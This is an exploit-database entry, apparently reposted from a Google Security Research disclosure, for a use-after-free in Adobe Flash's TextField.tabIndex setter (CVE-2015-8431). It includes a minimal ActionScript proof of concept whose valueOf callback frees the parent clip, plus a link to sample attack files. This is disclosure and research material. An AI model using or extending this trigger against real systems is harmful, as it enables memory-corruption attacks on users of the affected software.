Adobe Flash TextField.tabIndex Setter - Use-After-Free

Author: Google Security Research
type: dos
platform: windows
port: 
date_added: 2015-12-18 
date_updated: 2015-12-18 
verified: 1 
codes: CVE-2015-8431;OSVDB-131226 
tags: 
aliases:  
screenshot_url:  
application_url: 

Source: https://code.google.com/p/google-security-research/issues/detail?id=574

There is a use-after-free in the TextField.tabIndex setter. If the integer parameter is an object with valueOf defined, then it can free the TextField's parent, leading to a use-after-free. A minimal PoC follows:

var times = 0;
var mc = this.createEmptyMovieClip("mc", 1);
var tf = mc.createTextField("tf", 2, 1, 1, 100, 100);
tf.text = "hello";
tf.tabIndex = {valueOf : func};

function func(){
	if(times == 0){
		times++;
		return;
        }
	mc.removeMovieClip();

        // Fix heap here

	return 0x77777777;

	}

A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39054.zip